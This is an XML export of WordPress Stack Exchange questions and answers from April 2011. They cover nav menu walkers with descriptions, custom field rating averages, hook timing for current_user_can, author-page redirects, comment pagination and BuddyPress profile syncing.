  <row Id="14031" PostTypeId="2" ParentId="14023" CreationDate="2011-04-05T21:26:11.817" Score="1" ViewCount="" Body="&lt;p&gt;Check out this post on WordCast: &lt;br /&gt;&#xA;&lt;a href=&quot;http://wordcastnet.com/2011/wordpress-post-format-eye-candy-tumblr-style-theme-inspiration-showcase/&quot; rel=&quot;nofollow&quot;&gt;WordPress Post Format Eye-Candy: Tumblr Style Theme Inspiration Showcase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also Digging into WordPress uses them and just wrote a post about it:&lt;br /&gt;&#xA;&lt;a href=&quot;http://digwp.com/2011/04/tumblr-links-post-formats/?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+DiggingIntoWordpress+%28Digging+Into+WordPress%29&quot; rel=&quot;nofollow&quot;&gt;Tumblr Links with Post Formats&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2011-04-05T21:26:11.817" CommentCount="2" />
  <row Id="14033" PostTypeId="2" ParentId="14016" CreationDate="2011-04-05T21:34:45.830" Score="0" ViewCount="" Body="&lt;p&gt;If its a regular custom field you can add this to your archive.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//before the loop&#xA;$rating_count = 0;&#xA;$total_rating = 0;&#xA;&#xA;//in the loop &#xA;$total_rating = $total_rating + get_post_meta($post-&amp;gt;ID,'your_custom_field_name',true);&#xA;$rating_count = $rating_count + 1;&#xA;&#xA;//after the loop:&#xA;$average = $total_rating / $rating_count;&#xA;echo 'the average rating for this tag is: ' . $average;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that you've mentioned that there is pagination evolved and you are not getting all of the posts (for example 10/14), you can create a new WP_Query object and use it to get all of the posts (14/14) and check the average. add this code before your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$real_query = $wp_query-&amp;gt;query; //save reall query&#xA;//create new query for all posts of the tag/category/whatever&#xA;$args = array_merge( $wp_query-&amp;gt;query, array( 'posts_per_page' =&amp;gt; '-1' ) );&#xA;$average_q = new WP_Query($args);&#xA;$rating_count = 0;&#xA;$total_rating = 0;&#xA;while ($average_q-&amp;gt;have_posts()){&#xA;    $average_q-&amp;gt;the_post();&#xA;    $total_rating = $total_rating + get_post_meta($post-&amp;gt;ID,'your_custom_field_name',true);&#xA;    $rating_count = $rating_count + 1;&#xA;}&#xA;wp_reset_query();&#xA;$average = $total_rating / $rating_count;&#xA;echo 'the average rating for this tag is: ' . $average;&#xA;query_posts($real_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-05T23:50:07.750" LastActivityDate="2011-04-05T23:50:07.750" CommentCount="4" />
  <row Id="14034" PostTypeId="2" ParentId="14008" CreationDate="2011-04-05T21:40:43.403" Score="1" ViewCount="" Body="&lt;p&gt;Check out this plugin:&lt;br /&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;WPTouch @ WordPress.org&lt;/a&gt; &lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it on &lt;a href=&quot;http://notlaura.com&quot; rel=&quot;nofollow&quot;&gt;my site&lt;/a&gt; and works great. Haven't looked into the code much yet, but it seems pretty straightforward.&lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2011-04-05T21:40:43.403" CommentCount="1" />
  <row Id="14035" PostTypeId="2" ParentId="11444" CreationDate="2011-04-05T22:02:15.827" Score="0" ViewCount="" Body="&lt;p&gt;I had an issue like this and it was the WP Super Cache plugin. Try disabling it and if that works, check around the settings to see what's amiss.&lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2011-04-05T22:02:15.827" />
  <row Id="14036" PostTypeId="2" ParentId="14023" CreationDate="2011-04-05T22:06:36.923" Score="1" ViewCount="" Body="&lt;p&gt;I'm currently working on a theme (to be used on my blog when it's ready) with post formats. You can see a cropped screenshot, detailing several of the post formats here: &lt;a href=&quot;http://i.stack.imgur.com/xraga.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/xraga.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I get it far enough along, I'll be releasing it to the public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;http://wordpreh.com&quot; rel=&quot;nofollow&quot;&gt;WordPreh&lt;/a&gt; uses custom post formats, though you don't see much variation in most cases. The most obvious thing is that 'link' post titles link directly to the destination, rather than to the permalink of the post.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-04-05T22:06:36.923" CommentCount="3" />
  <row Id="14037" PostTypeId="1" AcceptedAnswerId="14039" CreationDate="2011-04-05T22:25:50.667" Score="7" ViewCount="1979" Body="&lt;p&gt;Normal Wordpress Menu looks like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Home | Blog | About us | Contact&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I've seen many pages with descriptions under these links:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Home Page     |    Our Blogs     |    About us&#xA;  |     Contact&lt;br&gt;&#xA;  ....meet us...| read more| basic info| contact form&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I want it to be core function for all my themes, so no plugins please, I just want to know how it's done)&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-04-05T22:31:44.017" LastActivityDate="2011-04-06T00:15:46.493" Title="Menu items description?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="14038" PostTypeId="2" ParentId="14004" CreationDate="2011-04-05T23:50:39.067" Score="3" ViewCount="" Body="&lt;p&gt;You both have the right idea, but you'll actually need both fitlers, one to catch the button text, another to catch the localised text, so a combination of the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyClass {&#xA;    function __construct() {&#xA;        add_action('admin_head-post.php',     array ( $this, 'load_gettext_filters' ), 1 );&#xA;        add_action('admin_head-post-new.php', array ( $this, 'load_gettext_filters' ), 1 );&#xA;    }&#xA;&#xA;    function load_gettext_filters() {&#xA;        global $post_type, $wp_scripts;&#xA;&#xA;        if( 'YOURTYPENAMEHERE' != $post_type )&#xA;            return;&#xA;&#xA;        $wp_scripts-&amp;gt;registered['post']-&amp;gt;extra['l10n'][1]['publish'] = __('Save');&#xA;&#xA;        add_filter( 'gettext', array ( $this, 'change_publishing_text' ), 10, 2 );&#xA;    }&#xA;&#xA;    function change_publishing_text( $translation, $text ) {&#xA;        if( 'Publish' != $text )&#xA;            return $translation;&#xA;&#xA;        return __( 'Save' );&#xA;    }&#xA;}&#xA;$MyClass = new MyClass;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-05T23:50:39.067" CommentCount="5" />
  <row Id="14039" PostTypeId="2" ParentId="14037" CreationDate="2011-04-06T00:15:46.493" Score="10" ViewCount="" Body="&lt;p&gt;You need a custom walker for the nav menu. See &lt;a href=&quot;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; for the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you add a parameter &lt;code&gt;'walker'&lt;/code&gt; to the &lt;code&gt;wp_nav_menu()&lt;/code&gt; options and call an instance of an enhanced class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(&#xA;    array (&#xA;        'menu'            =&amp;gt; 'main-menu',&#xA;        'container'       =&amp;gt; FALSE,&#xA;        'container_id'    =&amp;gt; FALSE,&#xA;        'menu_class'      =&amp;gt; '',&#xA;        'menu_id'         =&amp;gt; FALSE,&#xA;        'depth'           =&amp;gt; 1,&#xA;        'walker'          =&amp;gt; new Description_Walker&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The class &lt;code&gt;Description_Walker&lt;/code&gt; extends &lt;code&gt;Walker_Nav_Menu&lt;/code&gt; and changes the function &lt;code&gt;start_el( &amp;amp;$output, $item, $depth, $args )&lt;/code&gt; to look for &lt;code&gt;$item-&amp;gt;description&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Create HTML list of nav menu items.&#xA; * Replacement for the native Walker, using the description.&#xA; *&#xA; * @see    http://wordpress.stackexchange.com/q/14037/&#xA; * @author toscho, http://toscho.de&#xA; */&#xA;class Description_Walker extends Walker_Nav_Menu&#xA;{&#xA;    /**&#xA;     * Start the element output.&#xA;     *&#xA;     * @param  string $output Passed by reference. Used to append additional content.&#xA;     * @param  object $item   Menu item data object.&#xA;     * @param  int $depth     Depth of menu item. May be used for padding.&#xA;     * @param  array $args    Additional strings.&#xA;     * @return void&#xA;     */&#xA;    function start_el(&amp;amp;$output, $item, $depth, $args)&#xA;    {&#xA;        $classes     = empty ( $item-&amp;gt;classes ) ? array () : (array) $item-&amp;gt;classes;&#xA;&#xA;        $class_names = join(&#xA;            ' '&#xA;        ,   apply_filters(&#xA;                'nav_menu_css_class'&#xA;            ,   array_filter( $classes ), $item&#xA;            )&#xA;        );&#xA;&#xA;        ! empty ( $class_names )&#xA;            and $class_names = ' class=&quot;'. esc_attr( $class_names ) . '&quot;';&#xA;&#xA;        $output .= &quot;&amp;lt;li id='menu-item-$item-&amp;gt;ID' $class_names&amp;gt;&quot;;&#xA;&#xA;        $attributes  = '';&#xA;&#xA;        ! empty( $item-&amp;gt;attr_title )&#xA;            and $attributes .= ' title=&quot;'  . esc_attr( $item-&amp;gt;attr_title ) .'&quot;';&#xA;        ! empty( $item-&amp;gt;target )&#xA;            and $attributes .= ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;';&#xA;        ! empty( $item-&amp;gt;xfn )&#xA;            and $attributes .= ' rel=&quot;'    . esc_attr( $item-&amp;gt;xfn        ) .'&quot;';&#xA;        ! empty( $item-&amp;gt;url )&#xA;            and $attributes .= ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;';&#xA;&#xA;        // insert description for top level elements only&#xA;        // you may change this&#xA;        $description = ( ! empty ( $item-&amp;gt;description ) and 0 == $depth )&#xA;            ? '&amp;lt;small class=&quot;nav_desc&quot;&amp;gt;' . esc_attr( $item-&amp;gt;description ) . '&amp;lt;/small&amp;gt;' : '';&#xA;&#xA;        $title = apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID );&#xA;&#xA;        $item_output = $args-&amp;gt;before&#xA;            . &quot;&amp;lt;a $attributes&amp;gt;&quot;&#xA;            . $args-&amp;gt;link_before&#xA;            . $title&#xA;            . '&amp;lt;/a&amp;gt; '&#xA;            . $args-&amp;gt;link_after&#xA;            . $description&#xA;            . $args-&amp;gt;after;&#xA;&#xA;        // Since $output is called by reference we don't need to return anything.&#xA;        $output .= apply_filters(&#xA;            'walker_nav_menu_start_el'&#xA;        ,   $item_output&#xA;        ,   $item&#xA;        ,   $depth&#xA;        ,   $args&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6zCxp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enable the description field in &lt;code&gt;wp-admin/nav-menus.php&lt;/code&gt; to get the ability to edit this field. If you don’t WP just trashes your complete post content into it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KxK2p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading: &lt;a href=&quot;http://www.google.com/cse?cx=008094839757605916882%3af6pwe-gmjka&amp;amp;ie=UTF-8&amp;amp;q=trac%20description%20nav%20menu&amp;amp;sa=Search&amp;amp;hl=de&amp;amp;siteurl=www.google.com/cse/home?cx=008094839757605916882%3af6pwe-gmjka&amp;amp;hl=de&quot; rel=&quot;nofollow&quot;&gt;associated bugs&lt;/a&gt;. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that’s it. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-06T00:15:46.493" />
  <row Id="14040" PostTypeId="1" CreationDate="2011-04-06T00:19:57.413" Score="0" ViewCount="249" Body="&lt;p&gt;Is anyone here using the WordPress Nextgen-gallery with the Carousel template who can please tell me how to add a  caption so it appears below the main image and above the thumbnails?&lt;/p&gt;&#xA;" OwnerUserId="4472" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-06T08:35:00.170" LastActivityDate="2011-04-06T08:35:00.170" Title="How to add a caption to WordPress Nextgen-gallery Carousel?" Tags="&lt;plugin-nextgen-gallery&gt;" CommentCount="1" />
  <row Id="14041" PostTypeId="1" AcceptedAnswerId="14042" CreationDate="2011-04-06T01:19:01.040" Score="0" ViewCount="173" Body="&lt;p&gt;I just upgraded to WordPress 3.1.1 and suddenly I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Call to undefined function wp_get_current_user() in /home/arisehub/arisehub.org/wp-includes/capabilities.php on line 1028&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed it down to my usage of &quot;current_user_can&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;code&gt;&#xA;if ( !current_user_can('manage_options') ) { add_action('admin_init','customize_page_meta_boxes');  }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing that reference to current_user_can removes the errors. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-04-06T02:12:52.523" Title="current_user_can on WordPress 3.1.1" Tags="&lt;fatal-error&gt;" AnswerCount="1" />
  <row Id="14042" PostTypeId="2" ParentId="14041" CreationDate="2011-04-06T02:12:52.523" Score="4" ViewCount="" Body="&lt;p&gt;You are calling the function too early. The &lt;code&gt;functions.php&lt;/code&gt; is included before &lt;code&gt;current_user_can()&lt;/code&gt; is defined. &lt;strong&gt;Never&lt;/strong&gt; do anything before the hook &lt;code&gt;'after_setup_theme'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example for the functions.php&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', array( 'WPSE_14041_Base', 'setup' ) );&#xA;&#xA;class WPSE_14041_Base&#xA;{&#xA;    public static function setup()&#xA;    {&#xA;        ! isset ( $GLOBALS['content_width'] ) and $GLOBALS['content_width'] = 480;&#xA;&#xA;        add_theme_support( 'post-thumbnails', array( 'post', 'page' ) );&#xA;        add_theme_support( 'automatic-feed-links' );&#xA;&#xA;        add_theme_support( 'menus' );&#xA;&#xA;        add_editor_style();&#xA;&#xA;        add_custom_background();&#xA;&#xA;        // You may use current_user_can() here. And more. :)&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-06T02:12:52.523" CommentCount="1" />
  <row Id="14043" PostTypeId="1" AcceptedAnswerId="14049" CreationDate="2011-04-06T04:10:02.397" Score="2" ViewCount="72" Body="&lt;p&gt;Is there a browser plugin or method to find which php template an item is coming from?&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-04-30T13:00:10.357" Title="Is there a browser plugin or method to find which php template an item is coming from?" Tags="&lt;php&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="14044" PostTypeId="2" ParentId="14043" CreationDate="2011-04-06T04:26:28.687" Score="3" ViewCount="" Body="&lt;p&gt;You could just add an HTML comment into each template file and then view source to see where the content you are trying to track down it is coming from.&lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-04-06T04:26:28.687" CommentCount="1" />
  <row Id="14045" PostTypeId="1" CreationDate="2011-04-06T04:40:14.463" Score="2" ViewCount="133" Body="&lt;p&gt;I'm writing a plugin for WordPress that dynamically generates content from a Google Documents Spreadsheet. Specifically, the plugin provides a shortcode that generates a good-looking staff list. It works, but there are two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pages that use the shortcode load a little slow, because they have to make multiple requests to another server&lt;/li&gt;&#xA;&lt;li&gt;Since the content is generated when the page is loaded, the contents of the staff list do not show up in search results on the site&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can fix the first problem with some level of caching, but what can I do about the second problem? I mention the first problem because I think the ideal solution is one in which WordPress indexes the cached copy of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution I can think of would be to have the content of the page composed by a plugin periodically. That way the page could be searched and wouldn't be dynamically generated every time. However, it seems like a strange paradigm for a plugin to completely control the content of a page...are there other plugins that do this? Also, this approach exposes complexity to the user that it shouldn't have to. (They'd have to edit the contents of the page from a plugin page instead of the normal place.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample of what part of the markup for the page looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;General Management&amp;lt;/h2&amp;gt;&#xA;&#xA;[staff-directory department=&quot;General Management&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The spreadsheet to hit is configured separately. The &quot;department&quot; specifies the worksheet. (I'd show you what the results look like, but I don't have enough rep to post an image.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your suggestions are greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4475" LastActivityDate="2011-06-05T07:57:51.720" Title="How to make dynamically-generated content searchable in WordPress?" Tags="&lt;plugin-development&gt;&lt;search&gt;&lt;cache&gt;" AnswerCount="2" />
  <row Id="14047" PostTypeId="1" AcceptedAnswerId="14048" CreationDate="2011-04-06T05:12:59.487" Score="0" ViewCount="156" Body="&lt;p&gt;I have a website where I let people subscribe. I would like to only show the author page for actual authors who have written a post. I wrote this code that checks for post the problem is I can't use a &lt;code&gt;wp_redirect&lt;/code&gt; or include a template that uses it because then I get everyones favorite &quot;cannot redifine headers header&quot; message. I could display a &quot;User has no post message but I think redirecting them to the main author page is a better option. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_author() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php $id = get_query_var( 'author' );&#xA;&#xA;    $post_count = get_usernumposts($id);&#xA;    if($post_count &amp;lt;= 0){ &#xA;                 //This line could also be wp_redirect &#xA;                 include( STYLESHEETPATH .'/author-redirect.php');&#xA;                 exit;&#xA;      }&#xA;endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-06T06:03:15.497" Title="How to hide/redirect the author page" Tags="&lt;template&gt;&lt;redirect&gt;&lt;page-template&gt;&lt;author&gt;&lt;wp-redirect&gt;" AnswerCount="1" />
  <row Id="14048" PostTypeId="2" ParentId="14047" CreationDate="2011-04-06T06:03:15.497" Score="2" ViewCount="" Body="&lt;p&gt;You can do this at an earlier moment by hooking into the right action, like &lt;code&gt;template_redirect&lt;/code&gt;, which fires right before the template will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'wpse14047_template_redirect' );&#xA;function wpse14047_template_redirect()&#xA;{&#xA;    if ( is_author() ) {&#xA;        $id = get_query_var( 'author' );&#xA;        // get_usernumposts() is deprecated since 3.0&#xA;        $post_count = count_user_posts( $id );&#xA;        if ( $post_count &amp;lt;= 0 ) { &#xA;            //This line could also be wp_redirect &#xA;            include( STYLESHEETPATH .'/author-redirect.php' );&#xA;            exit;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-06T06:03:15.497" CommentCount="3" />
  <row Id="14049" PostTypeId="2" ParentId="14043" CreationDate="2011-04-06T06:07:21.590" Score="4" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;Debug Bar&lt;/a&gt; together with the &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar-extender/&quot; rel=&quot;nofollow&quot;&gt;Debug-Bar-Extender&lt;/a&gt; will show you what template file is being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/2QFHE.png&quot; alt=&quot;Debug Bar Extender showing the query template&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-06T06:07:21.590" CommentCount="4" />
  <row Id="14050" PostTypeId="2" ParentId="13962" CreationDate="2011-04-06T06:23:38.380" Score="0" ViewCount="" Body="&lt;p&gt;Also , as the error says, delete your browser cookies and change your auth cookies in wp-config.php if you have them ( last part is not 100% necessary but it can force your browsers to use new cookies).&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-06T06:23:38.380" />
  <row Id="14051" PostTypeId="2" ParentId="13928" CreationDate="2011-04-06T07:15:54.277" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-filebase/&quot; rel=&quot;nofollow&quot;&gt;WP-Filebase&lt;/a&gt; would be a suitable plugin for you.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-06T07:15:54.277" />
  <row Id="14052" PostTypeId="2" ParentId="13826" CreationDate="2011-04-06T07:26:57.280" Score="1" ViewCount="" Body="&lt;p&gt;This is indeed the default behavior of WordPress. The comments always stay on the same comment page, so if you show the last comment page first, that last comment page will not always have the &quot;full&quot; number of comments. The advantage of keeping a comment always on the same comment page is that the URL always stays the same, otherwise a comment can move to another page when new comments are added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's annoying, and I needed a workaround for this too. I found no (easy?) way to do this with WordPress hooks, so I sliced the comment array myself, by reading the &lt;code&gt;cpage&lt;/code&gt; (comment page) query variable. Watch out with this variable, because WordPress will be so helpful to &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/comment-template.php#L902&quot; rel=&quot;nofollow&quot;&gt;reverse it for you&lt;/a&gt; when you set the &quot;first/last comment page first&quot; to &quot;last&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code goes in the &lt;code&gt;comments.php&lt;/code&gt; theme file, because it reads the global variable &lt;code&gt;$comments&lt;/code&gt;. I did not use a comment callback (it was very simple code), but you can still pass the newly sliced &lt;code&gt;$comments_to_display&lt;/code&gt; array to &lt;code&gt;wp_list_comments()&lt;/code&gt; as the second argument, it will use that instead of all comments then. I don't know how this will work with threaded comments (how do they work with &quot;normal&quot; paged comments?).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments_to_display = $comments;&#xA;&#xA;/*&#xA; * Display the comments over pages, with the newest comments on the first page&#xA; * Special in this code (not in WP by default) is that the first page will contain 5 comments,&#xA; * and the final page can contain less comments.&#xA; */&#xA;$comments_per_page = 5; // MAYBE: use get_option()?&#xA;$comment_page = get_query_var( 'cpage' );&#xA;$comment_this_page_start = 0;&#xA;$comment_this_page_count = $comments_per_page;&#xA;$oldest_comment_page_count = count( $comments_to_display ) % $comments_per_page;&#xA;if ( 0 == $oldest_comment_page_count ) {&#xA;    $oldest_comment_page_count = $comments_per_page;&#xA;}&#xA;if ( 1 == $comment_page ) {&#xA;    $comment_this_page_count = $oldest_comment_page_count;&#xA;} else {&#xA;    $comment_this_page_start = $oldest_comment_page_count + ($comment_page - 2) * $comments_per_page;&#xA;}&#xA;$comments_to_display = array_slice( $comments_to_display, $comment_this_page_start, $comment_this_page_count );&#xA;// You probably want to array_reverse() $comments_to_display, currently it shows the oldest on top.&#xA;// Then you should be able to pass $comments_to_display to wp_list_comments() and it will use your shorter array instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-06T07:26:57.280" />
  <row Id="14053" PostTypeId="1" CreationDate="2011-04-06T07:32:13.297" Score="2" ViewCount="104" Body="&lt;p&gt;I am looking to extend the functionality and more importantly improve the design with post thumbnails on main page, beautify post metadata, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know a good child theme for twenty ten, please share. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4477" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-06T08:36:27.813" LastActivityDate="2011-08-22T01:33:11.410" Title="Where can I find a good reviewed collection of Twenty Ten child themes?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;theme-twenty-ten&gt;" AnswerCount="3" />
  <row Id="14054" PostTypeId="2" ParentId="14045" CreationDate="2011-04-06T07:34:32.817" Score="0" ViewCount="" Body="&lt;p&gt;I see two ways&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If speed is important, than caching would solve both of your problems. If you can somehow add a timestamp of last modification to the cache and the data retrieval url/get, with a simple hash algorythm you can be sure, that the cached version is up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If speed is not so relevant, you can use the API to ask for the spreadsheet. For example, you may not need PHP, instead you can use JavaScript and JSON for a very quick search, like the &lt;a href=&quot;http://code.google.com/apis/gdata/samples/spreadsheet_sample.html&quot; rel=&quot;nofollow&quot;&gt;data retrieving in this example&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your place, I'd stick with caching the data, calculating if Google Docs is not available at the very moment of the search query.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-06T07:34:32.817" CommentCount="1" />
  <row Id="14055" PostTypeId="2" ParentId="14045" CreationDate="2011-04-06T07:41:45.737" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_posts&lt;/code&gt; table has a &lt;code&gt;post_content_filtered&lt;/code&gt; column that &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2005-April/000672.html&quot; rel=&quot;nofollow&quot;&gt;plugins can use to cache expensive post content filters&lt;/a&gt;. The idea is that when you display the page, you don't read &lt;code&gt;post_content&lt;/code&gt; but you read &lt;code&gt;post_content_filtered&lt;/code&gt;. This is nice, but it won't solve your search problem because WordPress by default only looks at &lt;code&gt;post_content&lt;/code&gt; and &lt;code&gt;post_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however do it the other way around: store the editor content in &lt;code&gt;post_content_filtered&lt;/code&gt; and the rendered page in &lt;code&gt;post_content&lt;/code&gt; (update it periodically with a cron job). There are filters that are called before the post is edited, you can use them to pass &lt;code&gt;post_content_filtered&lt;/code&gt; instead of &lt;code&gt;post_content&lt;/code&gt; to the editor. So the user will see no difference, but the performance and the search experience will be improved.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-06T07:41:45.737" CommentCount="3" />
  <row Id="14056" PostTypeId="1" CreationDate="2011-04-06T07:52:07.413" Score="3" ViewCount="219" Body="&lt;p&gt;BuddyPress and WordPress store profile information in 2 separate locations, and there's a process to sync profile data between the 2 tables. However, this is pretty much limited (from how I'm reading the code) to a single name field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of adding other profile fields to this sync process (I'm particularly thinking of the description, and various contact fields) - looks like I'll need to create a function to hook into &lt;code&gt;xprofile_updated_profile&lt;/code&gt; and &lt;code&gt;user_profile_update_errors&lt;/code&gt; - is this right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an elegant way of establishing the mapping between WP &lt;code&gt;usermeta&lt;/code&gt; and BP &lt;code&gt;xprofile_data&lt;/code&gt;, or do I have to create the records representing profile fields in &lt;code&gt;xprofile_fields&lt;/code&gt; manually? &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-08-24T22:34:21.973" Title="Syncing BuddyPress and WordPress profile fields" Tags="&lt;buddypress&gt;&lt;sync&gt;&lt;profiles&gt;" AnswerCount="1" FavoriteCount="2" />
